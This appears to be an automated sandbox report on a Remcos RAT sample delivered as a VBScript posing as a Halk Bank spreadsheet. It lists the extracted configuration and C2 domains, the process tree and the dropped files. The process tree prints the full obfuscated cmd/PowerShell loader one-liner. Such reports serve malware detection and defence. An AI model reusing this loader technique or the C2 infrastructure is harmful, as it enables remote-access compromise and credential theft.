Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/10/2026, 18:00

General

  • Target
    HALK BANKASI-Xls.vbs
  • Size 1.2MB
  • Sample261007-wllcksdx3k
  • SHA256 e9f1757d4dd8919c701d9e90a971c23e04f87d53560f0d89c81b79d0016f2e6f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • RemoteHost

C2
  • www.albader-group.cam:2404

  • www.albader-groupbackup.cam:2404

  • www.albader-groupbackup1.cam:2404

  • www.edibeckconsult.cam:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    folder

  • mouse_option

    false

  • mutex

    Rmc-Q468EF

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 9 IoCs

    Network activity triggered a Suricata alert

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c set "M001=$p=["&& set "M002=char"&& set "M003=]39+"&& set "M004=[cha"&& set "M005=r]32"&& set "M006=+$ar"&& set "M007=gs[0"&& set "M008=];$r"&& set "M009==$en"&& set "M010=v:PI"&& set "M011=BRVK"&& set "M012=N;$f"&& set "M013==$ar"&& set "M014=gs[1"&& set "M015=];$s"&& set "M016==$ar"&& set "M017=gs[2"&& set "M018=];$r"&& set "M019=l=$a"&& set "M020=rgs["&& set "M021=3]+$"&& set "M022=args"&& set "M023=[4]+"&& set "M024=$arg"&& set "M025=s[5]"&& set "M026=;$wl"&& set "M027==$ar"&& set "M028=gs[6"&& set "M029=]+$a"&& set "M030=rgs["&& set "M031=4]+$"&& set "M032=args"&& set "M033=[5];"&& set "M034=$tf="&& set "M035=$arg"&& set "M036=s[7]"&& set "M037=+$ar"&& set "M038=gs[8"&& set "M039=]+$a"&& set "M040=rgs["&& set "M041=9];$"&& set "M042=t=0;"&& set "M043=whil"&& set "M044=e($t"&& set "M045=-lt8"&& set "M046=){$t"&& set "M047=++;$"&& set "M048=a=$n"&& set "M049=ull;"&& set "M050=try{"&& set "M051=$ty="&& set "M052=[typ"&& set "M053=e]$t"&& set "M054=f;$r"&& set "M055=aw=$"&& set "M056=ty::"&& set "M057=$rl("&& set "M058=$r);"&& set "M059=$a=@"&& set "M060=();f"&& set "M061=or($"&& set "M062=n=0;"&& set "M063=$n-l"&& set "M064=t@($"&& set "M065=raw)"&& set "M066=.Len"&& set "M067=gth;"&& set "M068=$n++"&& set "M069=){$l"&& set "M070==@($"&& set "M071=raw)"&& set "M072=[$n]"&& set "M073=;$i="&& set "M074=$l.I"&& set "M075=ndex"&& set "M076=Of($"&& set "M077=p);i"&& set "M078=f($i"&& set "M079=-ge "&& set "M080=0){$"&& set "M081=a+=$"&& set "M082=l.Su"&& set "M083=bstr"&& set "M084=ing("&& set "M085=$i+$"&& set "M086=p.Le"&& set "M087=ngth"&& set "M088=)-sp"&& set "M089=lit$"&& set "M090=s}}}"&& set "M091=catc"&& set "M092=h{};"&& set "M093=if($"&& set "M094=a){$"&& set "M095=ty::"&& set "M096=$wl("&& set "M097=$f,["&& set "M098=stri"&& set "M099=ng[]"&& set "M100=]$a)"&& set "M101=;bre"&& set "M102=ak};"&& set "M103=$n=0"&& set "M104=;whi"&& set "M105=le($"&& set "M106=n-lt"&& set "M107=5000"&& set "M108=00){"&& set "M109=$n++"&& set "M110=}}"&& set "PIBRVKN=C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"&& set "CHCN=!M001!!M002!!M003!!M004!!M005!!M006!!M007!!M008!!M009!!M010!!M011!!M012!!M013!!M014!!M015!!M016!!M017!!M018!!M019!!M020!!M021!!M022!!M023!!M024!!M025!!M026!!M027!!M028!!M029!!M030!!M031!!M032!!M033!!M034!!M035!!M036!!M037!!M038!!M039!!M040!!M041!!M042!!M043!!M044!!M045!!M046!!M047!!M048!!M049!!M050!!M051!!M052!!M053!!M054!!M055!!M056!!M057!!M058!!M059!!M060!!M061!!M062!!M063!!M064!!M065!!M066!!M067!!M068!!M069!!M070!!M071!!M072!!M073!!M074!!M075!!M076!!M077!!M078!!M079!!M080!!M081!!M082!!M083!!M084!!M085!!M086!!M087!!M088!!M089!!M090!!M091!!M092!!M093!!M094!!M095!!M096!!M097!!M098!!M099!!M100!!M101!!M102!!M103!!M104!!M105!!M106!!M107!!M108!!M109!!M110!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4736
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
          4⤵
          • Adds Run key to start application
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3368
          • C:\Windows\system32\choice.exe
            "C:\Windows\system32\choice.exe"
            5⤵
            • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
            • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
            • Accesses Microsoft Outlook profiles
            • outlook_office_path
            PID:1584

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        logs.dat

        • Path C:\ProgramData\folder\logs.dat
        • Size 180B
        • SHA256 115b6facfb9d6715fd6afd8685469bfdca67d931116f404ce39de1fd0e4a714d
        • MD5 SHA1 SHA512 TLSH

        Login Data For Account.tmp

        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
        • Size 40KB
        • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        684376843754.cmd

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd
        • Size 1.2MB
        • SHA256 03df854ad00273b4aa1d04d1069db5d5097ab38bea6e3fbdc644915d485c3086
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 948B
        • SHA256 f2a8c1e183dc3f91b42357cc5800e2c75672f64d24e5051aaaec22a01d10a0fc
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_3s2ivttk.a30.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3s2ivttk.a30.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        handoff_dbg_3368_e58eeef.txt

        • Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_3368_e58eeef.txt
        • Size 612B
        • SHA256 50430259791fc57f7fb3d3922c9762ae9fd26f346df37db2cba72f56edc2121d
        • MD5 SHA1 SHA512 TLSH

        memory/1584-44-0x000002094E920000-0x000002094E960000-memory.dmp

        memory/1584-101-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

        memory/1584-45-0x000002094E920000-0x000002094E960000-memory.dmp

        memory/1584-48-0x0000000180000000-0x0000000180040000-memory.dmp

        memory/1584-67-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-80-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-93-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-90-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-65-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-60-0x000002094E920000-0x000002094E960000-memory.dmp

        memory/1584-159-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-94-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-96-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-95-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-97-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-158-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-102-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

        memory/1584-98-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

        memory/1584-148-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-109-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-112-0x00007FF6FA6C0000-0x00007FF6FA6CD000-memory.dmp

        memory/1584-147-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-125-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-126-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-136-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/1584-137-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/4736-1-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp

        memory/4736-2-0x0000016ADE1E0000-0x0000016ADE202000-memory.dmp

        memory/4736-0-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp

        memory/4736-10-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp